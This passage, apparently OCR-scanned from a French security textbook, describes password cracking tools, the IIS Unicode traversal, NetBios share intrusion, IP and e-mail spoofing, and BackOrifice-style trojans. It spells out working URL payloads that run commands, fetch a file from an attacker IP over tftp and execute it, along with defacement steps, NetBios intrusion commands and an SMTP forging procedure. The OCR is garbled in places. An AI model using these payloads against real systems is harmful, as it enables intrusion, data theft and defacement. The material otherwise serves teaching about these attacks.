dictionnaire, I’attaque est vouée a I’échec.

Les pirates adaptent ce types de dictionnaires pour I’entreprise ou pour les
utilisateurs cibles. Si un grand nombre de personnes utilisent un mot du contexte de
leur travail, ce mot est ajouté au dictionnaire. Il existe méme un grand nombre de
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dictionnaires précompilés sur Internet comprenant méme des dictionnaires en
langues étrangeres et méme spécifiques par type d’entreprise.

2.4.4.2. L attaque de brute force

En plus des procédés utilisés pour deviner les mots de passe, plusieurs outils de
craquage des mots de passe offrent le principe de brute force. Pour ce type
d’attaque, I’outil utilise toutes les combinaisons possibles de caractéres pour
proposer et deviner le mot de passe convoité. La plupart de ces outils commencent
par les caracteres alphanumériques puis proposent des caractéres spéciaux (comme :
1& »$, etc.). Malgré la rapidité de ces outils, brute force nécessite un laps de temps
assez conséquent pouvant aller d’une semaine a quelques mois. Cependant, si le mot
de passe est court, cette technique pourrait fournir des résultats assez rapidement.

2.4.4.3. L attaque hybride

L’attaque hybride est la combinaison du craquage rapide d’un dictionnaire limité
et d’un processus long mais efficace de brute force. Dans une attaque hybride,
I’outil commence par deviner le mot de passe recherché grace aux mots d’un petit
dictionnaire, puis passe aux mots nouveaux a la maniére de brute force. Ce type
d’attaque pourrait parfois étre trés efficace pour la détermination d’un mot de passe.

2.4.5. Les outils de craquage des mots de passe

Les outils de craquage des mots de passe existent depuis longtemps et un grand
nombre est disponible aux adresses suivantes :

— @stake LC 5 (nouvelle version de LOphtCrack), un outil de craquage sous
Unix et Windows facile a utiliser, disponible a I’adresse : http://www.atstake.com ;

— John the Ripper, un outil congu par Solar Designer pour craquer les systémes
d’Unix et de Windows, disponible a I’adresse : http://www.openwall.com/john/ ;

— Crack, par Alec Muffet, parmi les plus anciens outils de craquage d’Unix,
disponible a I’adresse : http://www.users.dircon.co.uk/~crypto/.

Nous présentons ci-dessous les deux outils de craquage les plus puissants a ce
jour : @stake LC 5 et John the Ripper.

2.4.5.1. @stake LC5

C’est un outil de sécurité trés connu pour plusieurs raisons. Il est facile
d’utilisation et é&tonnamment rapide pour craquer les systemes Unix et Windows. Il
peut étre utilisé également comme outil d’audit des faiblesses des mots de passe. De
ce fait, chaque administrateur de sécurité devrait posséder cet outil. En I’activant sur
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une base de données, il peut identifier les mots de passe non sécurisés et forcer les
utilisateurs a les changer et ce avant qu’une personne mal intentionnée ne parvienne
a craquer les mots de passe du réseau.

Par défaut, @stake LC 5 utilise respectivement les trois méthodes de craquage
suivantes : craquage a l’aide d’un dictionnaire, craquage hybride et craquage par
brute force. Il fonctionne avec un dictionnaire contenant des dizaines de milliers de
mots et I’utilisateur peut télécharger et ajouter d’autres fichiers au dictionnaire.

L’outil commence donc a craquer les mots de passe a I’aide d’un dictionnaire et
si la méthode échoue, il passe a I’attaque hybride. Cette derniére consiste a modifier
le dictionnaire suivant la logique que pratique les personnes désirant créer des mots
de passe sécurisés. Puis I’outil ajoute des chiffres et des caracteres spéciaux au
dictionnaire. Si cette méthode hybride échoue a son tour, I’outil applique brute force
en essayant toutes les combinaisons possibles avec les chiffres, les lettres et les
caracteres spéciaux jusqu’au succes. L’ajout de ressources supplémentaires peut
accélérer le processus, mais la durée sera toujours assez conséquente car la brute
force essaie tous les cas de figures.

Pour utiliser efficacement @stake LC 5, le pirate tente obtenir une copie des
éléments représentatifs des mots de passe crypté/haché stockés dans les systemes
Unix et Windows. Or pour ce faire, @stake LC 5 a lui-méme inclus le « pwdump »
pour vider et dévoiler les éléments des mots de passe d’Unix et de Windows a partir
de la machine locale ou a partir de n’importe quelle autre machine du réseau.

2.4.5.2. John The Ripper

John The Ripper tourne sous différentes plates-formes incluant les variantes
d’Unix, de DOS, de Win9x, et de Windows NT/2000/XP/2003. A I’instar de @stake
LC 5, John the Ripper supporte différents modes passant d’un mode simple de
défaut en exécutant le craquage a I’aide d’une liste de mots et de régles simples au
mode d’incrémentions automatique, brute force. Le mode simple utilise aussi les
informations du login et les mots de passe obtenus ou devinés a partir des autres
comptes. Par défaut, le mode incrémentiel, lui, utilise I’ensemble des 95 caractéres
du clavier et toutes les combinaisons a hauteur de 8 caractéres. John the Ripper
permet de choisir, dans le mode incrémentiel, des options telles que le choix de
I’alphanumérique, et de la longueur des mots de passe. Il permet aussi de créer un
ensemble de nouveaux types de caracteres si I’utilisation des caracteres non usuels
est détectée.

A I’instar de @stake LC 5, pour utiliser efficacement I’outil John The Ripper, le
pirate doit avoir une copie des éléments représentatifs des mots de passe
crypté/haché stockés dans les systémes Unix et Windows.
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2.5. L’attaque Unicode sur les serveurs web Microsoft 11S

Les internautes utilisent différents systémes d’exploitation et chaque systéme
utilise son propre langage. De plus, il existe un code qui permet de communiquer avec
n’importe quel systéme d’exploitation et de comprendre la méme chose: c’est le
principe d’Unicode. Cependant, comme tout systéme, Unicode n’est pas sans faille.

La faille Unicode est présente sur les serveurs web Microsoft IS (Internet
information service) ; et les systémes les plus vulnérables sont Microsoft I1S 4.0 et
Microsoft 11S 5.0. La faille Unicode est extrémement facile a exploiter et permet
d’attaquer des serveurs web Microsoft 11S. Dans le paragraphe suivant, nous allons
montrer comment on réussit a contréler un serveur web 11S et comment on modifie
son contenu (par exemple les pages web). Cet exemple sera décrit en dernier lieu
apreés la présentation de toutes les commandes.

Pour exploiter cette faille, le pirate tente d’accéder au fichier cmd.exe, qui est
situé dans le répertoire C:\winnt\system32, dans les machines Windows. Le fichier
cmd.exe permet d’exécuter les mémes commandes qu’en mode MS-DOS, c¢’est-a-
dire que I'utilisateur peut, a sa convenance créer ou supprimer un répertoire, copier
un fichier, etc.

Si un serveur 1IS est vulnérable au niveau de la faille Unicode, un listing des
répertoires du serveur IIS est affiché. Lorsque le serveur est vulnérable et que la
faille est découverte, plusieurs commandes arbitraires et normalement interdites sont
désormais faciles a exécuter.

2.5.1. Trouver un serveur web 11S vulnérable

L’existence de la faille Unicode permet d’exécuter des commandes arbitraires.
Pour savoir si son serveur IS cible est vulnérable, I’administrateur peut essayer les
commandes suivantes a partir de son navigateur :

— www.Votre_Site_Cible.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/
cHdir+c:\

— www.Votre_Site_Cible.com/..%255c¢..%255cwinnt/system32/cmd.exe?/c+dir+C:\

— www.Votre_Site_Cible.com/msadc/..%255c..%255¢..%255¢..%255cwinnt/
system32/cmd.exe?/c+dir+C:\

— www.Votre_Site_Cible.com/cgi-hin/..%255c..%255c..%255c..%255cwinnt/
system32/cmd.exe?/c+dir+C:\
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— www.Votre_Site_Cible.com/samples/..%255c..%255¢..%255c..%255cwinnt/
system32/cmd.exe?/c+dir+C:\

— www.Votre_Site_Cible.com/iisadmpwd/..%255¢..%255c..%255¢..%255cwinnt/
system32/cmd.exe?/c+dir+C:\

— www.Votre_Site_Cible.com/_vti_cnf/..%255¢..%255c..%255¢..%255..9%6255..%
255cwinnt/system32/cmd.exe?/c+dir+C:\

— www.Votre_Site_Cible.com/_vti_bin/..%255c..%255c..%255¢..%255..9%255..%
255cwinnt/system32/cmd.exe?/c+dir+C:\

— www.Votre_Site_Cible.com/adsamples/..%255¢..%255¢..%255¢..%255..%255..%
255cwinnt/system32/cmd.exe?/c+dir+C:\

Enfin, si le serveur IIS cible répond a ces commandes, on doit avoir un listing du
répertoire C:\, comme indiqué dans la figure 2.5. Si au contraire on n’obtient pas ce
résultat, le serveur I1S est probablement immunisé contre ce type de vulnérabilité.

2} http://172.16.16.2/scripts/..%5¢..% 5cwinnt/system32 fcmd.exe?/c +dir +c:\, - Microsoft Internet Explorer
| Fchier Edtion Affchage Favors owils ? ' D

| aprécédente ~ = - ) (2] &} QiRechercher [EFavors (BHistorique | 5 S e

_ nﬂ_{fﬂ hittp:ff172.16. 16.2/scriptsf. . %255¢,, % 255cwinntysystem3z femd. exe?jcdir4c:)|

Répertoire de c:)

16/12/1999 01:00 231 968 SLDR§

28/09/2004 09:15 <DIR> §WIN NT:.~BT
06/07/2003 14:15 6 144 ADMXPROX.DLL
17/09/2004 19:41 7 023 admxprox.zip
28/10/2004 10:48 <DIR> Ancien PC

26/10/2004 20:57 <DIR> CommView v.4,1
26/10/2004 20:57 <DIR> COMPAQ

27/10/2004 08:18 <DIR> DESKJET

27/10/2004 0B:18 <DIR> Documents and Sectings
17/10/2004 19:38 <DIR> FiasIUSB 64 Mo
01/10/2004 15:17 3 536 frrfrfr.doc

16/09/2004 20:21 <DIR> GENS

2z/09/2009 14:27 <DIR> HP

18/09/2004 15:36 2 606 HTTP-Defaulc-Default.log
03/09/2004 21:06 <DIR> 1386

30/10/2004 10:39 <DIR> images

26/10/2004 21:32 <DIR> Inetpub

30/09/2004 11:19 60 928 kenkyuhi.doc

Figure 2.5. La faille Unicode dans un serveur web Microsoft 11S

Pour I’affichage du listing d’un répertoire

Pour afficher, par exemple, le listing d’un répertoire, il suffit d’ajouter a la
derniére partie c+dir+C:\ le nom du répertoire souhaité. Par exemple :
c+dir+C:\WINT donne un listing du répertoire C:\WINT.
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Pour télécharger un fichier

Pour télécharger un fichier, il suffit de remplacer la partie /cmd.exe?/c+dir+C:\ par :
— /cmd.exe?/c+type+chemin_du_fichier;
— ou, par /cmd.exe?/c %20type\c %20C:\chemin_du_fichier.

Pour supprimer un fichier

Pour supprimer, par exemple, le fichier teste.exe, il faut juste remplacer la partie
[c+dir+C:\ par :

— [c+del+C:\teste.exe ;

— ou par /c %20del %20C:\teste.exe.

Pour copier un fichier

Pour copier le fichier C:\teste.exe a d :\teste.exe, il faut remplacer la partie
/ecmd.exe?/c+dir+C:\ par :

— /cmd.exe?/c+copy+C:\teste.exe+d :\teste.exe ;

— ou par /cmd.exe?/c %20copy %20C:\teste.exe %20d :\teste.exe.

Pour uploader un fichier

Pour uploader sur le disque dur du serveur web cible un fichier du disque dur
d’une machine, nommeé teste.exe, avec comme destination C:\teste.exe, il faut
installer tout d’abord un serveur TFTP (trivial file transfer protocol), par exemple le
serveur TFTP Turbo (téléchargeable a partir de I’adresse : http://www.download.com),
et ensuite remplacer la partie /cmd.exe?/c+dir+C:\ par : /cmd.exe?/c+tftp.exe+"’
-i”’+votre_ip+GET+teste.exe+C:\teste.exe.

Faire exécuter au serveur web 11S cible un fichier

Pour faire exécuter au serveur IIS cible le fichier teste.exe de son disque dur, il
faut juste remplacer la partie /cmd.exe?/c+dir+C:\ par /cmd.exe?/c+C:\teste.exe.

D’autres programmes qui permettent d’exécuter sur un serveur un fichier sont
téléchargeables a partir de : http://packetstormsecurity.org/001-exploits/IISHack1.5.zip.

Il existe aussi des patchs pour les versions qui présentent cette faille de Unicode,
par exemple :
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— pour IS 4.0 : http://mww.microsoft.com/ntserver/nts/downloads/critical/q269862/
default.asp ;

— pour 11S5.0: http://www.microsoft.com/windows2000/downloads/critical/
0269862/default.asp.

Modification des pages web

A ce stade, le pirate possede toutes les commandes nécessaires pour remplacer
les pages web. La démarche est un jeu d’enfant :

1) on choisit le fichier de type HTML contenant la page entiére qu’on souhaite
modifier (ou seulement le texte ou les images de la page) ;

2) on télécharge le fichier sur I’ordinateur ;
3) on effectue les modifications a sa convenance ;

4) on « uploade » enfin le fichier modifié sur le serveur.

Et le tour est joué ! A la prochaine connexion, I’utilisateur trouvera la page modifiée.
Dans le site wwwe.astalavista.com, plusieurs outils qui réalisent des attaques Unicode
sur les serveurs web sont téléchargeables gratuitement, par exemple :

— Socket80 ;
— 1IS Xploit ;
— W3B h4XORz.

2.6. L attaque de NetBios : acces aux fichiers partagés

Les applications développées sous Windows peuvent fonctionner en utilisant
directement les sockets TCP/IP, comme le font les applications de type Telnet ou
FTP. D’autres applications utilisent les communications basées sur le protocole
NetBios qui permet a des applications sous Windows de communiquer entre elles.

Pour communiquer directement, les applications basées sur NetBios utilisent des
noms de machines, comme Serveur2, Station3, etc. Par exemple, il est possible sur
une machine Windows d’utiliser la commande Net View \\Machine pour consulter la
liste des ressources d’un serveur ou de parcourir le réseau a I’aide de I’explorateur
ou du gestionnaire de fichiers.
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L’attaque de NetBios est une intrusion dans un ordinateur dont le but est
d’accéder aux fichiers partagés. Les étapes suivantes décrivent la réalisation de ce
type d’attaque par le biais des commandes DOS.

Néanmoins, ce type d’attaque peut étre réalisé aussi d’une fagon plus simple
avec des outils offrant des interfaces graphiques conviviales, tel xSharez Scanner et
sa nouvelle version LANWalk Scanner, téléchargeables a partir du site www.tools-
for.net.

Détaillons d’abord le processus manuel avec I’utilisation des commandes DOS.

2.6.1. Utilisation des commandes DOS

Etape 1

Se mettre sous le prompt de DOS et taper la commande: C :\nbtstat -A
Adresse_ip_Cible.

On obtient un tableau de ce type :

Name Type Status

DG_serveur <20> UNIQUE Registered

WORKGROUP | <00> GROUP Registered

DG_serveur <03> UNIQUE Registered

La ligne « DG_serveur <20> UNIQUE Registred » contient le nom de
I’ordinateur cible. La valeur <20> indique que cet ordinateur posséde des fichiers
partagés.

Etape 2

Editer le fichier Imhost en tapant la ligne edit Imhost puis taper les commandes :
Adresse_IP_Cible nom_de_I’ordinateur #PRE
Ensuite enregistrer le fichier Imhost.

Etape 3

Taper la commande : nbtstat -R.
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On obtient alors : « Successful purge and preload of the NBT Remote Cache
Name Table. »

Etape 4

Entrer ensuite la commande : net view \\nom_de_I’ordinateur_cible. Pour notre
cas: C:\net view \\DG_serveur. On obtient alors I’inventaire des ressources
partagées (a, ¢, d, e...).

Cette commande net view sert a détecter et voir les ressources partagées d’un
ordinateur.

Etape 5

Entrer ensuite : net use \\nom_de_I’ordinateur_cible\X, X étant la lettre de la
partie a laquelle on veut accéder. Pour accéder par exemple au répertoire c,
remplacer le X par c$. A partir de ce moment, I’ordinateur cible est désormais sous
controle.

La commande net use sert a se connecter au répertoire d’une ressource partagée
sans mot de passe.

2.6.2. Utilisation de I’outil LANWalk Scanner

LANWalk Scanner est un outil trés puissant qui facilite le processus qu’on vient
de décrire. En offrant une interface graphique conviviale, il permet a I’utilisateur
d’afficher les répertoires et les fichiers partagés d’un ordinateur cible. Il suffit de
connaitre seulement I’adresse IP de cet ordinateur. LANWalk Scanner intégre
également I’outil xIntruder, qui permet de craquer les mots de passe des répertoires
et fichiers partagés et protégés par des mots de passe.

D’apres la documentation, xIntruder est capable de craquer tout mot de passe
d’un réseau local en moins d’une minute, et sur Internet en moins de 10 minutes.

A titre d’exemple, nous présentons étape par étape, les écrans générés par
LANWalk Scanner, suite a une attaque de NetBios sur un ordinateur.

Ecran1

Une fois la plage des adresses IP des ordinateurs cibles est fournie ; LANWalk
Scanner cherche les répertoires et fichiers partagés de ces ordinateurs et les affiche.
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W 172.16.10.16 |—
W 172.16,10.37 W)
§ 172.16.10.49 N
W 172.16.10.100 (pbbiniminng
W 172.16.10.150 (b
|— W 172.16.10.230 (FEE—_

Ressources -

Ecran 2

Pour afficher le listing d’un répertoire partagé ou afficher le contenu d’un fichier
partagé, I’ utilisateur doit double cliquer sur le répertoire ou le fichier.

Tranche IP s
172.16.10.1
172,16,10.254
Dermarter | v (B 6 W 172,16.10.100 n—

§ 172.16.10.150 K9
.! 172‘15,10,230-)

Ecran 3

Si le répertoire ou le fichier est protégé par un mot de passe, un sous-écran est
affiché pour que I’ utilisateur puisse entrer le mot de passe approprié. Si I’utilisateur
ne dispose pas du mot de passe (et en général le pirate n’est pas en mesure de le
fournir) : I’outil xIntruder en est la solution. En effet, il permet de craquer le mot de
passe du répertoire partagé en question.
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Tranche IP A
172,16,10.1
172.16,10.254

5 PRINTER$
Demarrer | ., B 172.16.10. 100 (——

1§ 172.16.10, 150 W
B

- 172.16.10.230 [ N

Ecran 4

Pour craquer le mot de passe du répertoire ou du fichier partagé, I’utilisateur
doit simplement cliquer sur le bouton « Mot de passe... » pour activer I’outil
xIntruder. Au bout d’un certain temps, xIntruder affiche le résultat du processus de
craquage qui est le mot de passe trouvé. Dans I’exemple de I’écran ci-dessous, le
mot de passe trouvé est « FIN ».

Tranche IP N W 172.16.10.16 (RN
§ 172.16,10.37 (—
172.16.10.1 3
172,16,10,254

§ 17216, 10,100 (-]
1§ 172.16.10.190 .

9 172.16‘10.230(-

Addresse IP: 172.16.10.49
Nom de |a station: 2GR

Ressources: FIN

Clique ici pour plus de livres : https://t.me/formations8


https://t.me/formations8
https://t.me/formations8

Clique ici pour plus de livres : https://t.me/formations8
Attaques communes sur les réseaux et systemes 81

Ecran5

Il suffit alors de taper le mot de passe « FIN ».

&, LANWalk Scanner {Demo) ﬂl'il!ﬁ

.Sr_'a_nn'e_r ] Infarmation ] Parametres ] _-P._pranus']

Tranche IP - W 172.16.10.16 (b
1§ 172.16,10.37 nm—)
m El-§ 172.16.10.99 (zE_—_—
i S8 PRINTERS
!I.- § 172.16.10.100 EEER')

W 172.16.10.150 (R

Ressources =+ iy  172.16.10.200 O
e
‘Connection disque |
= =

|

e

Mak de passe..,

Saisie du mot de passe réseau

Mot de passs incorect ou nom d'utii\salew-l'nconnu paour ;- I Ok |
W7216.10.49\fin > '
. - Annuler I
Se connecte entant que: | Test :
Mot He-passe; I“"

Ecran 6

LANWalk Scanner affiche alors le listing du répertoire ou le contenu du fichier
partagé. Dés lors, I'utilisateur contréle la situation et exécute les actions a sa guise.
Il peut télécharger, modifier, consulter, uploader les fichiers des répertoires qui sont
désormais sous son contrdle.

NetBios étant un service qui utilise les ports 137 et 139, la meilleure défense
contre ce type d’attaque est de bloquer, au niveau des firewalls, tous paquets entrant
ou sortant dont le port source ou destination est situé entre 137 et 139. Cependant, le
firewall ne peut pas protéger contre un agresseur opérant a partir de I’intérieur du
réseau, puisque le trafic intérieur ne passe pas en général par le firewall.

2.7. Les attaques de la falsification des adresses IP (IP spoofing) et des e-mails

2.7.1. La falsification des adresses IP et e-mails

Si un agresseur arrive a falsifier ou a cacher sa propre identité de sorte que
I’ordinateur victime le prenne pour un utilisateur légitime, il peut probablement
accéder a des informations qu’il n’est pas normalement autorisé a obtenir. C’est le
spoofing (falsification) des adresses IP et des e-mails.
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Dans ce qui suit, nous nous limitons a évoquer les deux types d’attaques de
spoofing : le spoofing des adresses IP et le spoofing des e-mails.

2.7.1.1. Le spoofing des adresses IP

L’agresseur falsifie son adresse IP pour acquérir des informations ou obtenir des
accés. Quand un systeme est attaqué, il répond, et la réponse parvient a I’adresse
falsifiée, et non & I’adresse de I’agresseur. Donc I’agresseur ne regoit aucune
réponse. Par contre, si I’agresseur se situe entre la machine attaquée et la machine
portant I’adresse IP falsifiée, il peut capturer la réponse.

Il existe en général trois types de spoofing des adresses IP :
— changement des adresses IP ;

— techniques du routage strict et lache ;

— relations de confiance entre les machines UNIX.

2.7.1.1.1. Le changement des adresses IP

La forme la plus basique de falsification des adresses IP consiste a changer et la
configuration du réseau et son adresse IP. Tous les paquets envoyés a I’extérieur ont
des lors comme adresse IP source celle choisie par I’agresseur. Ceci implique que,
désormais, tous les paquets de réponse seront renvoyés a I’adresse falsifiée et
désignée au préalable et non a I’adresse de I’agresseur. Et comme une connexion
TCP exige des contrdles et des accusés de réception pour S’initialiser et établir
la connexion définitive, I’opération échouera car les messages de contact sont
envoyés a une tierce machine (correspondant a I’adresse falsifiée) ignorant tout
de I’opération.

Cette technique est tres limitée. Cependant, elle s’avére intéressante, puisque
I’agresseur se contente d’envoyer un ensemble de paquets pour planter la machine
cible. Les réponses de la machine victime seront perdues dans le réseau. Il sera
d’autant plus difficile d’identifier I’adresse IP de la source d’attaque avec cette
technique.

2.7.1.1.2. Routage strict et lache

Le probléme avec la technique de changement d’adresse IP est que le trafic
arrive seulement a I’adresse IP falsifiée et jamais a I’adresse de I’agresseur. Pour
certains types d’attaque tres simples, cette technique est efficace puisque I’envoi
d’un seul paquet peut réaliser une attaque de DoS. Cependant pour mener des
attaques plus avancées et pour voir tous les paquets des machines connectées
(capturer la communication), I’agresseur doit redoubler d’ingéniosité.
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Une des méthodes consiste a ce que I’agresseur se positionne lui-méme quelque
part sur le chemin que le trafic est censé emprunter. Ceci est trés difficile puisque
I’agresseur doit compromettre une machine sur le réseau de la victime, et que
d’autre part, il n’y a aucune garantie que le trafic continue a passer par la machine
compromise par I’agresseur. Internet est dynamique en ce qui concerne le routage
(la fagon dont il route les paquets). Il y a plusieurs cas ou le trafic prend la méme
route a travers Internet, mais ceci n’est pas une garantie absolue. En effet, le trafic
peut changer de chemin chaque jour, chaque heure, et méme chaque minute.

Cependant, il y a une méthode qui garantit que les paquets prennent un seul
chemin a travers Internet, permettant ainsi a un agresseur de visualiser tout le trafic.
Pour exécuter son forfait, il utilise un routage dit « lache » avec des adresses de
neeuds désignées ou un routage strict.

Le routage lache

Avec ce type de routage, I’utilisateur spécifie une liste d’adresses IP que le trafic
doit emprunter a travers Internet, mais le trafic peut aussi emprunter d’autres
adresses IP. C’est-a-dire, quel que soit I’itinéraire, il suffit que les paquets passent
par les adresses spécifiées.

Le routage strict

Avec ce type de routage, I’ utilisateur impose plutét un chemin spécifique que les
paquets doivent emprunter. Si le chemin déterminé n’est pas respecté, le paquet est
détruit et un message d’erreur de type ICMP est retourné a I’utilisateur. C’est-a-dire,
les paquets doivent emprunter exactement le chemin spécifié, et s’ils ne le peuvent
pas, ces paquets ne seront simplement pas envoyés.

Dans I’en-téte du paquet IP, seulement huit adresses IP sont utilisées pour
véhiculer les paquets. Cependant avec I’évolution de I’Internet, il y a des cas ou le
paquet doit emprunter plus de huit nceuds ou passerelles pour atteindre sa
destination. Dans ce contexte, seulement le routage du premier type peut étre utilisé,
car le routage strict détruira les paquets qui ne peuvent pas suivre le chemin exact
spécifié.

2.7.1.1.3. Relations de confiance entre les machines Unix

Dans I’environnement Unix, des « relations de confiance » peuvent étre mises en
place entre les systémes pour faciliter le dialogue entre les machines et I’acces aux
utilisateurs. Imaginons par exemple le développeur d’une entreprise possédant 5
serveurs et qui utilise nécessairement ces 5 machines. Il se connecte a une machine,
puis la quitte pour se reconnecter a une deuxiéme puis une troisiéme. Ce procédé
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génere une perte de temps et d’énergie. De ce fait, établir une relation de confiance
entre les machines au préalable s’avere intéressant : une seule authentification au
début est suffisante compte tenu que les relations de confiance entre les machines
utilisent des authentifications basées sur les adresses IP.

Par contre, ce type d’authentification peut s’avérer dangereux car un agresseur
utilisant la technique du spoofing des adresses IP peut attaquer ces machines.
L’établissement de relations de confiance entre les systémes est trés intéressant du
point de vue de la coopération, mais du point de vue de la sécurité, c’est un véritable
cauchemar.

Aprés I’établissement d’une relation de confiance, I’utilisateur peut se déplacer
d’une machine a I’autre en utilisant, pour les acces, les « commandes r » d’Unix.
Ces commandes n’exigent pas d’authentification, ce qui veut dire que I’utilisateur
n’est pas obligé de fournir a chaque fois son mot de passe pour accéder a une autre
machine. Néanmoins, une petite consolation : méme si un agresseur réussit le spoofing,
son principal probléme demeure toujours le trafic renvoyé en tant que réponse. En effet,
puisque toutes les réponses sont envoyées a I’adresse IP qui a été falsifiée, I’agresseur
peut envoyer des paquets & la victime mais ne regoit pas de réponse.

2.7.1.2. La falsification (ou le spoofing) des adresses e-mail

Le spoofing des adresses e-mail est réalisé en général pour trois principales raisons.

Premiérement, un agresseur désire cacher son identité. Si un agresseur veut
envoyer un e-mail a une personne et ne veut pas étre identifié, le spoofing des adresses
e-mails est alors une technique efficace. De méme, le « anonymous remailer » peut
étre utilisé. Un « anonymous remailer » est un serveur a qui I’agresseur va envoyer
d’abord son e-mail, puis ce serveur exécute un renvoi au destinataire en cachant
I’identité de I’agresseur. Ceci permet a un agresseur d’envoyer des e-mails anonymes a
travers Internet.

Deuxiemement, si I’agresseur veut se faire passer pour une autre personne ou
mettre une tierce personne dans une situation difficile, il peut alors falsifier I’adresse
e-mail de sa victime. Ainsi, n’importe qui peut recevoir un e-mail mal intentionné
croyant qu’il le recoit de la part de la victime nommée, le receveur va reprocher a
cette derniére le contenu de son courrier électronique.

Troisiemement, le spoofing des adresses e-mails pourrait étre utilisé comme
un moyen de «social engineering». Si un agresseur veut qu’une victime lui
envoie des informations sensibles par e-mail, I’agresseur peut envoyer a la victime
un e-mail portant comme adresse e-mail source I’adresse de son chef hiérarchique
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ou de son patron, poussant ainsi la victime a répondre et a lui renvoyer des
informations sensibles.

Il existe en général deux méthodes de spoofing des adresses e-mail, a savoir la
modification du client mail et I’ utilisation du service Telnet au port 25.

2.7.1.2.1. Modification du client Mail

Quand un e-mail est envoyé, il n’y a aucune authentification ou vérification faite
sur le champ de la source : « from » du e-mail. Par conséquent, si un agresseur a un
programme client d’e-mails tels que Eudora ou Outlook, il peut modifier I’adresse e-
mail dans le champ « from » comme bon lui semble. Le seul probléme est que quand
la victime répond avec un e-mail, ceci ne parvient jamais dans la boite des e-mails
de I’agresseur. Dans les lieux de travail, ce type d’attaque de spoofing des adresses
e-mails peut poser des problémes entre les employés.

2.7.1.2.2. Le Telnet au port 25

Une autre technique plus compliquée consiste a se connecter a un serveur de
messagerie électronique SMTP par la commande Telnet. Si une personne adresse un
e-mail & une autre personne, il saisit le texte puis clique sur « Envoyer ».

Puisque les serveurs mail utilisent le port 25 pour envoyer des e-mails (voir
chapitre 1), I’agresseur pourrait procéder de la méme fagon en se connectant au port
25, comme un serveur mail et composer un message a partir de la. Pour réaliser ceci,
I’agresseur cherche premiérement une adresse IP d’un serveur mail ou lance un
scanner de port sur des plages d’adresses pour identifier les ports 25 ouverts. Aprés
avoir trouvé une machine dont le port 25 est ouvert et avec un serveur mail
opérationnel, il écrit les commandes suivantes :

C :\ Telnet + adresse IP du serveur mail + 25

Apreés la connexion, il écrit :
Helo
Mail from : « I’adresse e-mail de la victime »
Rept to : « I’adresse de la personne qui envoie le e-mail »

Data
Texte du message.

Le message doit obligatoirement étre suivi d’un point.
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Cette procédure étant compliquée, certains optent pour d’autres plus faciles et
téléchargeables sur Internet. En effet, plusieurs programmes facilitent I’envoi des
e-mails anonymes. Ces programmes, tels que Avalanche (figure 2.6), fournissent des
interfaces graphiques conviviales sous Windows. L’utilisateur choisit un serveur
mail, puis remplit les champs des adresses e-mails To et From, le sujet, et le
message, et suit les instructions sur I’écran. En outre Avalanche permet de réaliser
I’e-mail boombing. C’est-a-dire le bombardement de la boite aux lettres des victimes
par des milliers de e-mails, voire contenant des fichiers attachés.

# Avalanche ¥3.7 - 1 clone loaded.

File Message Bombing Log Addons Help

Domain name: [com

To: IMunsieulﬁX@BankﬁX.cum j
Sender's name: |PDG de la Banque X
From: [Monsieur Y@Bank_Y.com |
Server: [batelco.com.bh 1
E-mailer: [Avalanche 3.7 (16) |
Priority: [TFGED |
Carbon copy: =
Relays:
o

M

Mail Properties Dptions Message Log

Random
Subject

Random

Start | Clear W
essage

Random :
Insult | Exit |

Figure 2.6. Génération de faux e-mail par I’outil Avalanche

2.8. Les attaques des chevaux de Troie

Un cheval de Troie (Trojan horse) est un programme informatique effectuant des
opérations a I’insu de I'utilisateur. Il s’agit donc d’un programme caché dans un
autre qui exécute des commandes sournoises et qui, généralement, ouvre des bréches
dans la machine sur laquelle il est exécuté. Il ne faut pas pour autant s’alarmer et
croire que tout comportement anormal d’une application est dd a un cheval de Troie.
Il se peut que ce soit un simple bogue.

En effet un tel programme a généralement des effets négatifs sur les informations
stockées sur le systeme qui I’exécute. Par exemple, si une fenétre MS-Dos plante
lors de son exécution avec la commande DIR, il s’agit plutdt d’un virus et non d’un
cheval de Troie. Si, en revanche, cette méme commande efface tout le disque dur et
affiche le message « Je vous ai bien eu! », il y a de fortes chances qu’il s’agisse
d’un cheval de Troie.
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Les spécialistes ne sont pas unanimes sur le sujet. Certains associent ces
programmes malveillants a des virus, d’autres estiment qu’ils n’en sont pas
puisqu’ils ne cherchent a contaminer ni le systéme ni méme les fichiers, bien qu’ils
puissent les effacer. De plus, un cheval de Troie n’a généralement pas pour objectif
de se dupliquer.

Avec le développement d’Internet et les chats, le phénomene prend de I’ampleur.
Actuellement de nombreux chevaux de Troie ne seraient que des « espions »
dissimulés dans les ordinateurs, par des programmes destructeurs. L’objectif
principal est de s’approprier des données confidentielles essentielles comme les
noms, mots de passe, codes bancaires, etc.

A I’heure actuelle, il existe plusieurs chevaux de Troie particulierement
dangereux qui permettent la prise de contrble d’un systéme a distance. lls se
présentent sous la forme d’un programme client et d’un programme serveur.

Dans un premier temps, le programme serveur est envoyé a la victime dans un
courrier électronique sous la forme d’une piéce jointe. Lorsque ce fichier est
exécuté, le programme ouvre un port dans la machine attaquée et s’installe de fagon
résidente et invisible dans le systeme victime (figure 2.7).

Ensuite, le programme client initialise une connexion avec la machine attaquée
et permet ainsi le contréle de I’ordinateur de la victime. Au préalable, et afin de
s’infiltrer dans une machine, le pirate doit en connaitre I’adresse IP.

Machine infectée

Figure 2.7. Installation du programme serveur dans la machine victime
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Il est également possible d’accéder a n’importe lequel des fichiers, de lire tout ce
qui est saisi au clavier, d’éditer les paramétres du systeme, de lancer une quelconque
application, de lire les e-mails et méme de rediriger I’affichage afin de savoir
exactement ce que fait la victime.

Client Enhancement Plugins: Server Enhancement Plugins
Rattler notifies a specified
Provides a graphical file browser user as to the whereabouts
BO and registry editor to the BOZK of a Back Onfice 2000
1.0 interface, Makes common Rattler 1.10 server via e-mail Rattler will
Tool tedious BOZK tasks point-and- send an e-mail each time it
click simple. detects an IP address
addition/modification.
fICQ is & plugin for Back
Orifice 2000 that operates in
i ’ a similar fashion to Rattler
Other Plugins: 1CQ 0.00 except that the notification
message is sent via ICQ's
web pager service.
The Butt Trumpet 2000
This plugin gives you a _ plugin for BOZK. Once
_ streaming video of the ButtTrumpet installed and started, this
BO 4o machine's screen that the 2000 : plugin sends you en email
Peep : server is running on. Also mmma host's IP address.
provides remote keyboard and A nice altemative to Rattler.
‘mouse accessibility.
gBotis an IRC client that
connects to an [RC server
ButtSniff: 1:711 snif | er pour espimm.er le réseau gBot 0.2.1 m :tm Of?::u
de Ia machine infectée par BackOrifice input

Figure 2.8. Les plugins de BackOrifice

